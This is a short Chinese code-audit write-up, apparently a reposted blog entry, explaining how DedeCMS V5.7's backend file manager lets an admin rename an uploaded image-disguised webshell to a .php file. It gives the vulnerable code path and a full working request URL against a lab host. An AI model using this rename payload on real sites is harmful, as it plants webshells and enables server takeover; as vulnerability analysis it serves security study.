zoukankan      html  css  js  c++  java
  • 代码审计-dedecms任意文件名修改拿shell

    0x01 漏洞分析

    漏洞文件: dede/file_manage_control.php $fmdo 开始时赋值,所以我们可以使fmdo=rename ,使其进入 if语句 ,调用 FileManagement 对象的 RenameFile 方法,跟进 RenameFile 方法。

    关于这里的$fmdo变量,我们可以找找这个变量怎么来的

    Ok那这里知道这个$fmdo变量是可以我们传递控制得到。

    那我们跟进这个RenameFile函数

    RenameFile函数位于/dede/file_class.php:

    看到 $oldname  $newname 直接拼接生成,没有对文件名进行过滤,直接导致漏洞发生。所以最终payload为:

    /dede/file_manage_control.php?fmdo=rename&oldfilename=你上传文件的路径&newfilename=你想写的路径

    0x02 漏洞利用

    登录后台后 可以上传一个图片马

     

    这里可以看到上传的swf文件路径,接下来构造url改名,使其变为php后缀马

    访问:

    http://192.168.5.149/DedeCMS-V5.7/uploads/dede/file_manage_control.php?fmdo=rename&oldfilename=/DedeCMS-V5.7/uploads/uploads/media/190511/1_1555226071.SWF&newfilename=/secquan.php

    显示上传成功

  • 相关阅读:
    Sum of a Function(区间筛)
    (01背包)输出方案数
    删边求概率
    完全背包输出方案数(dp)
    二分
    Just Arrange the Icons(模拟)
    Balls of Buma(回文串)
    dp思想
    刷题-力扣-190. 颠倒二进制位
    刷题-力扣-173. 二叉搜索树迭代器
  • 原文地址:https://www.cnblogs.com/-qing-/p/10849057.html
Copyright © 2011-2022 走看看